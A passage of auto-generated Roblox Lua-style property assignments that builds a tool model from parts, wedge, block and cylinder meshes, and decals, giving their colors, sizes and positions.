- Part162.Parent = Tool0
- Part162.Material = Enum.Material.SmoothPlastic
- Part162.BrickColor = BrickColor.new("Black")
- Part162.Rotation = Vector3.new(-30.0100002, -0.469999999, 179.729996)
- Part162.Anchored = true
- Part162.FormFactor = Enum.FormFactor.Custom
- Part162.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part162.CFrame = CFrame.new(27.0822754, 0.845215023, 139.457214, -0.999955893, -0.00469633937, -0.00813275576, 4.37112533e-08, -0.86598748, 0.500062525, -0.00939150155, 0.500040412, 0.865949214)
- Part162.BottomSurface = Enum.SurfaceType.Smooth
- Part162.TopSurface = Enum.SurfaceType.Smooth
- Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part162.Position = Vector3.new(27.0822754, 0.845215023, 139.457214)
- Part162.Orientation = Vector3.new(-30, -0.539999962, 180)
- Part162.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh163.Parent = Part162
- SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
- SpecialMesh163.MeshType = Enum.MeshType.Wedge
- SpecialMesh163.Scale = Vector3.new(0.450000018, 0.180000007, 0.180000007)
- Part164.Parent = Tool0
- Part164.Material = Enum.Material.SmoothPlastic
- Part164.BrickColor = BrickColor.new("Black")
- Part164.Rotation = Vector3.new(149.98999, 0.469999999, 0.269999981)
- Part164.Anchored = true
- Part164.FormFactor = Enum.FormFactor.Custom
- Part164.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part164.CFrame = CFrame.new(27.0821533, 0.863281012, 139.488281, 0.999955893, -0.00469634682, 0.00813275576, -4.3711136e-08, -0.865985572, -0.500061572, 0.00939150155, 0.500039399, -0.865947366)
- Part164.BottomSurface = Enum.SurfaceType.Smooth
- Part164.TopSurface = Enum.SurfaceType.Smooth
- Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part164.Position = Vector3.new(27.0821533, 0.863281012, 139.488281)
- Part164.Orientation = Vector3.new(30, 179.459991, -180)
- Part164.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal165.Parent = Part164
- Decal165.Texture = "http://www.roblox.com/asset/?id=65628034"
- Decal165.Face = Enum.NormalId.Bottom
- SpecialMesh166.Parent = Part164
- SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
- SpecialMesh166.MeshType = Enum.MeshType.Wedge
- SpecialMesh166.Scale = Vector3.new(0.450000018, 0.180000007, 0.119999997)
- Part167.Parent = Tool0
- Part167.Material = Enum.Material.SmoothPlastic
- Part167.BrickColor = BrickColor.new("Black")
- Part167.Rotation = Vector3.new(-180, -89.4599991, 120.009995)
- Part167.Anchored = true
- Part167.FormFactor = Enum.FormFactor.Custom
- Part167.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part167.CFrame = CFrame.new(27.0826416, 0.987304986, 139.373901, -0.00469636917, -0.00813265145, -0.999955893, -0.865986645, 0.500062168, 4.37110863e-08, 0.500039935, 0.865948439, -0.00939150155)
- Part167.BottomSurface = Enum.SurfaceType.Smooth
- Part167.TopSurface = Enum.SurfaceType.Smooth
- Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part167.Position = Vector3.new(27.0826416, 0.987304986, 139.373901)
- Part167.Orientation = Vector3.new(0, -90.5400009, -60)
- Part167.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh168.Parent = Part167
- BlockMesh168.Offset = Vector3.new(0.0149999997, 0.00600000005, 0)
- BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
- BlockMesh168.Scale = Vector3.new(1.15200007, 0.234000012, 0.450000018)
- Part169.Parent = Tool0
- Part169.Material = Enum.Material.SmoothPlastic
- Part169.BrickColor = BrickColor.new("Black")
- Part169.Rotation = Vector3.new(-180, -89.4599991, -150)
- Part169.Anchored = true
- Part169.FormFactor = Enum.FormFactor.Custom
- Part169.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part169.CFrame = CFrame.new(27.0803223, 1.00415003, 139.671265, -0.00813287497, 0.00469574332, -0.999955893, 0.500007033, 0.866016328, 4.37110863e-08, 0.865977883, -0.499984801, -0.00939150155)
- Part169.BottomSurface = Enum.SurfaceType.Smooth
- Part169.TopSurface = Enum.SurfaceType.Smooth
- Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part169.Position = Vector3.new(27.0803223, 1.00415003, 139.671265)
- Part169.Orientation = Vector3.new(0, -90.5400009, 30)
- Part169.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh170.Parent = Part169
- BlockMesh170.Offset = Vector3.new(-0.103500001, 0.032250002, 0)
- BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
- BlockMesh170.Scale = Vector3.new(1.80000007, 0.450000018, 0.450000018)
- Part171.Parent = Tool0
- Part171.Material = Enum.Material.SmoothPlastic
- Part171.BrickColor = BrickColor.new("Black")
- Part171.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
- Part171.Anchored = true
- Part171.FormFactor = Enum.FormFactor.Custom
- Part171.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part171.CFrame = CFrame.new(27.0795898, 0.996093988, 139.719849, -0.999955893, -0.00469574332, -0.00813275576, 4.37111325e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
- Part171.BottomSurface = Enum.SurfaceType.Smooth
- Part171.TopSurface = Enum.SurfaceType.Smooth
- Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part171.Position = Vector3.new(27.0795898, 0.996093988, 139.719849)
- Part171.Orientation = Vector3.new(-30, -0.539999962, 180)
- Part171.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh172.Parent = Part171
- BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
- BlockMesh172.Scale = Vector3.new(0.299999982, 0.179999992, 0.0600000061)
- Part173.Parent = Tool0
- Part173.Material = Enum.Material.SmoothPlastic
- Part173.BrickColor = BrickColor.new("Black")
- Part173.Rotation = Vector3.new(-30, -0.469999999, 179.729996)
- Part173.Anchored = true
- Part173.FormFactor = Enum.FormFactor.Custom
- Part173.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part173.CFrame = CFrame.new(27.079834, 0.985107005, 139.702026, -0.999955893, -0.00469574332, -0.00813275576, 4.37111645e-08, -0.86601609, 0.500007153, -0.00939150155, 0.499985039, 0.865977705)
- Part173.BottomSurface = Enum.SurfaceType.Smooth
- Part173.TopSurface = Enum.SurfaceType.Smooth
- Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part173.Position = Vector3.new(27.079834, 0.985107005, 139.702026)
- Part173.Orientation = Vector3.new(-30, -0.539999962, 180)
- Part173.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh174.Parent = Part173
- SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
- SpecialMesh174.MeshType = Enum.MeshType.Wedge
- SpecialMesh174.Scale = Vector3.new(0.299999982, 0.180000007, 0.149999991)
- Part175.Parent = Tool0
- Part175.Material = Enum.Material.SmoothPlastic
- Part175.BrickColor = BrickColor.new("Black")
- Part175.Rotation = Vector3.new(-180, -89.4599991, -180)
- Part175.Anchored = true
- Part175.FormFactor = Enum.FormFactor.Custom
- Part175.Size = Vector3.new(0.779999971, 0.200000003, 0.200000003)
- Part175.CFrame = CFrame.new(27.0797119, 1.07519495, 139.687134, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
- Part175.BottomSurface = Enum.SurfaceType.Smooth
- Part175.TopSurface = Enum.SurfaceType.Smooth
- Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part175.Position = Vector3.new(27.0797119, 1.07519495, 139.687134)
- Part175.Orientation = Vector3.new(0, -90.5400009, 0)
- Part175.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh176.Parent = Part175
- BlockMesh176.Offset = Vector3.new(0, 0.00900000054, 0)
- BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
- BlockMesh176.Scale = Vector3.new(1, 0.262499988, 0.75)
- Part177.Parent = Tool0
- Part177.Material = Enum.Material.SmoothPlastic
- Part177.BrickColor = BrickColor.new("Black")
- Part177.Rotation = Vector3.new(150, 0.469999999, 0.269999981)
- Part177.Anchored = true
- Part177.FormFactor = Enum.FormFactor.Custom
- Part177.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part177.CFrame = CFrame.new(27.0797119, 1.00610304, 139.738525, 0.999955893, -0.00469574332, 0.00813275576, -4.37111325e-08, -0.86601609, -0.500007153, 0.00939150155, 0.499985039, -0.865977705)
- Part177.BottomSurface = Enum.SurfaceType.Smooth
- Part177.TopSurface = Enum.SurfaceType.Smooth
- Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part177.Position = Vector3.new(27.0797119, 1.00610304, 139.738525)
- Part177.Orientation = Vector3.new(30, 179.459991, -180)
- Part177.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh178.Parent = Part177
- SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
- SpecialMesh178.MeshType = Enum.MeshType.Wedge
- SpecialMesh178.Scale = Vector3.new(0.299999982, 0.179999992, 0.149999991)
- Part179.Parent = Tool0
- Part179.Material = Enum.Material.SmoothPlastic
- Part179.BrickColor = BrickColor.new("Brick yellow")
- Part179.Rotation = Vector3.new(0, 89.4599991, 180)
- Part179.Anchored = true
- Part179.FormFactor = Enum.FormFactor.Custom
- Part179.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
- Part179.CFrame = CFrame.new(26.9969482, 1.08422804, 139.881348, -0.00939145684, -4.35706298e-08, 0.999955893, -1.4781123e-08, -0.99999994, -4.37113812e-08, 0.999955773, -1.51909649e-08, 0.00939150155)
- Part179.BottomSurface = Enum.SurfaceType.Smooth
- Part179.TopSurface = Enum.SurfaceType.Smooth
- Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part179.Position = Vector3.new(26.9969482, 1.08422804, 139.881348)
- Part179.Orientation = Vector3.new(0, 89.4599991, -180)
- Part179.Color = Color3.new(0.843137, 0.772549, 0.603922)
- SpecialMesh180.Parent = Part179
- SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
- SpecialMesh180.MeshType = Enum.MeshType.Wedge
- SpecialMesh180.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
- Part181.Parent = Tool0
- Part181.Material = Enum.Material.SmoothPlastic
- Part181.BrickColor = BrickColor.new("Brick yellow")
- Part181.Rotation = Vector3.new(-180, -89.4599991, 0)
- Part181.Anchored = true
- Part181.FormFactor = Enum.FormFactor.Custom
- Part181.Size = Vector3.new(0.389999986, 0.200000003, 0.200000003)
- Part181.CFrame = CFrame.new(27.1591797, 1.08422804, 139.883057, 0.00939145684, -4.35706298e-08, -0.999955893, 1.4781123e-08, -0.99999994, 4.37113812e-08, -0.999955773, -1.51909649e-08, -0.00939150155)
- Part181.BottomSurface = Enum.SurfaceType.Smooth
- Part181.TopSurface = Enum.SurfaceType.Smooth
- Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part181.Position = Vector3.new(27.1591797, 1.08422804, 139.883057)
- Part181.Orientation = Vector3.new(0, -90.5400009, 180)
- Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
- SpecialMesh182.Parent = Part181
- SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
- SpecialMesh182.MeshType = Enum.MeshType.Wedge
- SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
- Part183.Parent = Tool0
- Part183.Material = Enum.Material.SmoothPlastic
- Part183.BrickColor = BrickColor.new("Black")
- Part183.Rotation = Vector3.new(0, -0.539999962, 0)
- Part183.Anchored = true
- Part183.FormFactor = Enum.FormFactor.Custom
- Part183.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part183.CFrame = CFrame.new(26.9984131, 1.12915003, 139.746155, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
- Part183.BottomSurface = Enum.SurfaceType.Smooth
- Part183.TopSurface = Enum.SurfaceType.Smooth
- Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part183.Position = Vector3.new(26.9984131, 1.12915003, 139.746155)
- Part183.Orientation = Vector3.new(0, -0.539999962, 0)
- Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh184.Parent = Part183
- SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
- SpecialMesh184.MeshType = Enum.MeshType.Wedge
- SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
- Part185.Parent = Tool0
- Part185.Material = Enum.Material.SmoothPlastic
- Part185.BrickColor = BrickColor.new("Black")
- Part185.Rotation = Vector3.new(-180, -89.4599991, -180)
- Part185.Anchored = true
- Part185.FormFactor = Enum.FormFactor.Custom
- Part185.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
- Part185.CFrame = CFrame.new(27.1588135, 1.12915003, 139.942932, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
- Part185.BottomSurface = Enum.SurfaceType.Smooth
- Part185.TopSurface = Enum.SurfaceType.Smooth
- Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part185.Position = Vector3.new(27.1588135, 1.12915003, 139.942932)
- Part185.Orientation = Vector3.new(0, -90.5400009, 0)
- Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh186.Parent = Part185
- BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
- BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
- Part187.Parent = Tool0
- Part187.Material = Enum.Material.SmoothPlastic
- Part187.BrickColor = BrickColor.new("Black")
- Part187.Rotation = Vector3.new(-180, -89.4599991, -180)
- Part187.Anchored = true
- Part187.FormFactor = Enum.FormFactor.Custom
- Part187.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
- Part187.CFrame = CFrame.new(26.9967041, 1.12915003, 139.941467, -0.00939130783, 4.38506476e-08, -0.999955893, 1.50212571e-08, 0.999995947, 4.37110863e-08, 0.99995172, -1.46100732e-08, -0.00939150155)
- Part187.BottomSurface = Enum.SurfaceType.Smooth
- Part187.TopSurface = Enum.SurfaceType.Smooth
- Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part187.Position = Vector3.new(26.9967041, 1.12915003, 139.941467)
- Part187.Orientation = Vector3.new(0, -90.5400009, 0)
- Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh188.Parent = Part187
- BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
- BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
- Part189.Parent = Tool0
- Part189.Material = Enum.Material.SmoothPlastic
- Part189.BrickColor = BrickColor.new("Black")
- Part189.Rotation = Vector3.new(0, -0.539999962, 0)
- Part189.Anchored = true
- Part189.FormFactor = Enum.FormFactor.Custom
- Part189.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part189.CFrame = CFrame.new(27.1602783, 1.12915003, 139.747681, 0.999955893, 4.38506476e-08, -0.00939130783, -4.37110863e-08, 0.999995947, 1.50212571e-08, 0.00939150155, -1.46100732e-08, 0.99995172)
- Part189.BottomSurface = Enum.SurfaceType.Smooth
- Part189.TopSurface = Enum.SurfaceType.Smooth
- Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part189.Position = Vector3.new(27.1602783, 1.12915003, 139.747681)
- Part189.Orientation = Vector3.new(0, -0.539999962, 0)
- Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh190.Parent = Part189
- SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
- SpecialMesh190.MeshType = Enum.MeshType.Wedge
- SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
- Part191.Parent = Tool0
- Part191.Material = Enum.Material.SmoothPlastic
- Part191.BrickColor = BrickColor.new("Black")
- Part191.Rotation = Vector3.new(-180, -89.4599991, -150)
- Part191.Anchored = true
- Part191.FormFactor = Enum.FormFactor.Custom
- Part191.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part191.CFrame = CFrame.new(27.0799561, 1.04418898, 139.736389, -0.00813286006, 0.00469568372, -0.999955893, 0.500007272, 0.866015971, 4.37111254e-08, 0.865977407, -0.499985069, -0.00939150155)
- Part191.BottomSurface = Enum.SurfaceType.Smooth
- Part191.TopSurface = Enum.SurfaceType.Smooth
- Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part191.Position = Vector3.new(27.0799561, 1.04418898, 139.736389)
- Part191.Orientation = Vector3.new(0, -90.5400009, 30)
- Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh192.Parent = Part191
- BlockMesh192.Offset = Vector3.new(0.0299999993, 0.00374999992, 0)
- BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
- BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
- Part193.Parent = Tool0
- Part193.Material = Enum.Material.SmoothPlastic
- Part193.BrickColor = BrickColor.new("Really black")
- Part193.Rotation = Vector3.new(0, 89.4599991, -90)
- Part193.Anchored = true
- Part193.FormFactor = Enum.FormFactor.Custom
- Part193.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part193.CFrame = CFrame.new(27.3004169, 1.39013696, 140.196228, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
- Part193.BottomSurface = Enum.SurfaceType.Smooth
- Part193.TopSurface = Enum.SurfaceType.Smooth
- Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- Part193.Position = Vector3.new(27.3004169, 1.39013696, 140.196228)
- Part193.Orientation = Vector3.new(0, 89.4599991, -90)
- Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
- CylinderMesh194.Parent = Part193
- CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
- CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
- Part195.Parent = Tool0
- Part195.Material = Enum.Material.SmoothPlastic
- Part195.BrickColor = BrickColor.new("Black")
- Part195.Rotation = Vector3.new(-180, 0.539999962, 90)
- Part195.Anchored = true
- Part195.FormFactor = Enum.FormFactor.Custom
- Part195.Size = Vector3.new(0.371999979, 0.200000003, 0.449999988)
- Part195.CFrame = CFrame.new(27.3028564, 1.26708996, 139.914368, -4.35706298e-08, -0.999955893, 0.00939145684, -0.99999994, 4.37113812e-08, 1.4781123e-08, -1.51909649e-08, -0.00939150155, -0.999955773)
- Part195.BottomSurface = Enum.SurfaceType.Smooth
- Part195.TopSurface = Enum.SurfaceType.Smooth
- Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part195.Position = Vector3.new(27.3028564, 1.26708996, 139.914368)
- Part195.Orientation = Vector3.new(0, 179.459991, -90)
- Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh196.Parent = Part195
- BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
- BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
- Part197.Parent = Tool0
- Part197.Material = Enum.Material.SmoothPlastic
- Part197.BrickColor = BrickColor.new("Black")
- Part197.Rotation = Vector3.new(0, 89.4599991, -90)
- Part197.Anchored = true
- Part197.FormFactor = Enum.FormFactor.Custom
- Part197.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part197.CFrame = CFrame.new(27.3007813, 1.39013696, 140.166199, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
- Part197.BottomSurface = Enum.SurfaceType.Smooth
- Part197.TopSurface = Enum.SurfaceType.Smooth
- Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part197.Position = Vector3.new(27.3007813, 1.39013696, 140.166199)
- Part197.Orientation = Vector3.new(0, 89.4599991, -90)
- Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh198.Parent = Part197
- CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
- CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
- Part199.Parent = Tool0
- Part199.Material = Enum.Material.SmoothPlastic
- Part199.BrickColor = BrickColor.new("Black")
- Part199.Rotation = Vector3.new(0, 89.4599991, -90)
- Part199.Anchored = true
- Part199.FormFactor = Enum.FormFactor.Custom
- Part199.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part199.CFrame = CFrame.new(27.3005371, 1.15014601, 140.148193, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
- Part199.BottomSurface = Enum.SurfaceType.Smooth
- Part199.TopSurface = Enum.SurfaceType.Smooth
- Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part199.Position = Vector3.new(27.3005371, 1.15014601, 140.148193)
- Part199.Orientation = Vector3.new(0, 89.4599991, -90)
- Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh200.Parent = Part199
- CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
- CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
- Part201.Parent = Tool0
- Part201.Material = Enum.Material.SmoothPlastic
- Part201.BrickColor = BrickColor.new("Black")
- Part201.Rotation = Vector3.new(0, 89.4599991, -90)
- Part201.Anchored = true
- Part201.FormFactor = Enum.FormFactor.Custom
- Part201.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part201.CFrame = CFrame.new(27.3052979, 1.38427699, 139.680054, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
- Part201.BottomSurface = Enum.SurfaceType.Smooth
- Part201.TopSurface = Enum.SurfaceType.Smooth
- Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part201.Position = Vector3.new(27.3052979, 1.38427699, 139.680054)
- Part201.Orientation = Vector3.new(0, 89.4599991, -90)
- Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Decal202.Parent = Part201
- Decal202.Texture = "http://www.roblox.com/asset/?id=65628034"
- Decal202.Face = Enum.NormalId.Bottom
- CylinderMesh203.Parent = Part201
- CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
- CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
- Part204.Parent = Tool0
- Part204.Material = Enum.Material.SmoothPlastic
- Part204.BrickColor = BrickColor.new("Black")
- Part204.Reflectance = 0.050000000745058
- Part204.Rotation = Vector3.new(0, 89.4599991, -180)
- Part204.Anchored = true
- Part204.FormFactor = Enum.FormFactor.Custom
- Part204.Size = Vector3.new(0.209999993, 0.396000028, 0.200000003)
- Part204.CFrame = CFrame.new(27.0994873, 1.12011695, 137.605225, -0.00939130783, 4.48289548e-08, 0.999955833, -1.19209247e-07, -0.999999404, 4.37113883e-08, 0.999954998, -1.18793444e-07, 0.00939165056)
- Part204.BottomSurface = Enum.SurfaceType.Smooth
- Part204.TopSurface = Enum.SurfaceType.Smooth
- Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part204.Position = Vector3.new(27.0994873, 1.12011695, 137.605225)
- Part204.Orientation = Vector3.new(0, 89.4599991, -180)
- Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
- CylinderMesh205.Parent = Part204
- CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
- CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
- Part206.Parent = Tool0
- Part206.Material = Enum.Material.SmoothPlastic
- Part206.BrickColor = BrickColor.new("Black")
- Part206.Reflectance = 0.050000000745058
- Part206.Rotation = Vector3.new(-180, 0.539999962, 0)
- Part206.Anchored = true
- Part206.FormFactor = Enum.FormFactor.Custom
- Part206.Size = Vector3.new(0.200000003, 0.209999993, 0.200000003)
- Part206.CFrame = CFrame.new(27.1021729, 0.943114996, 137.335159, 0.999955833, 0, 0.00939165056, 0, -1, 0, 0.00939165056, 0, -0.999955833)
- Part206.BottomSurface = Enum.SurfaceType.Smooth
- Part206.TopSurface = Enum.SurfaceType.Smooth
- Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part206.Position = Vector3.new(27.1021729, 0.943114996, 137.335159)
- Part206.Orientation = Vector3.new(0, 179.459991, 180)
- Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh207.Parent = Part206
- SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
- SpecialMesh207.MeshType = Enum.MeshType.Wedge
- SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
- Part208.Parent = Tool0
- Part208.Material = Enum.Material.SmoothPlastic
- Part208.BrickColor = BrickColor.new("Black")
- Part208.Reflectance = 0.050000000745058
- Part208.Rotation = Vector3.new(-102.919998, 1.46999991, 173.62999)
- Part208.Anchored = true
- Part208.FormFactor = Enum.FormFactor.Custom
- Part208.Size = Vector3.new(0.200000003, 0.252000004, 0.200000003)
- Part208.CFrame = CFrame.new(27.1033936, 0.812255979, 137.199951, -0.99349612, -0.110945165, 0.0256136917, -3.66314552e-08, 0.22495088, 0.974369586, -0.113863662, 0.968032122, -0.223487809)
- Part208.BottomSurface = Enum.SurfaceType.Smooth
- Part208.TopSurface = Enum.SurfaceType.Smooth
- Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part208.Position = Vector3.new(27.1033936, 0.812255979, 137.199951)
- Part208.Orientation = Vector3.new(-77, 173.459991, 0)
- Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh209.Parent = Part208
- SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
- SpecialMesh209.MeshType = Enum.MeshType.Wedge
- SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
- Part210.Parent = Tool0
- Part210.Material = Enum.Material.SmoothPlastic
- Part210.BrickColor = BrickColor.new("Brick yellow")
- Part210.Reflectance = 0.050000000745058
- Part210.Rotation = Vector3.new(180, -89.4599991, -90)
- Part210.Anchored = true
- Part210.FormFactor = Enum.FormFactor.Custom
- Part210.Size = Vector3.new(0.200000003, 0.972000062, 0.270000011)
- Part210.CFrame = CFrame.new(27.1000977, 1.24316394, 137.539001, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
- Part210.BottomSurface = Enum.SurfaceType.Smooth
- Part210.TopSurface = Enum.SurfaceType.Smooth
- Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part210.Position = Vector3.new(27.1000977, 1.24316394, 137.539001)
- Part210.Orientation = Vector3.new(0, -90.5400009, 90)
- Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
- CylinderMesh211.Parent = Part210
- CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
- CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
- Part212.Parent = Tool0
- Part212.Material = Enum.Material.SmoothPlastic
- Part212.BrickColor = BrickColor.new("Brick yellow")
- Part212.Reflectance = 0.050000000745058
- Part212.Rotation = Vector3.new(-180, 0.539999962, 180)
- Part212.Anchored = true
- Part212.FormFactor = Enum.FormFactor.Custom
- Part212.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
- Part212.CFrame = CFrame.new(27.1049805, 0.982177973, 137.038269, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
- Part212.BottomSurface = Enum.SurfaceType.Smooth
- Part212.TopSurface = Enum.SurfaceType.Smooth
- Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part212.Position = Vector3.new(27.1049805, 0.982177973, 137.038269)
- Part212.Orientation = Vector3.new(0, 179.459991, 0)
- Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
- BlockMesh213.Parent = Part212
- BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
- BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
- Part214.Parent = Tool0
- Part214.Material = Enum.Material.SmoothPlastic
- Part214.BrickColor = BrickColor.new("Black")
- Part214.Reflectance = 0.050000000745058
- Part214.Rotation = Vector3.new(-180, 0.539999962, 180)
- Part214.Anchored = true
- Part214.FormFactor = Enum.FormFactor.Custom
- Part214.Size = Vector3.new(0.200000003, 0.216000006, 0.200000003)
- Part214.CFrame = CFrame.new(27.104126, 0.940186024, 137.125427, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
- Part214.BottomSurface = Enum.SurfaceType.Smooth
- Part214.TopSurface = Enum.SurfaceType.Smooth
- Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
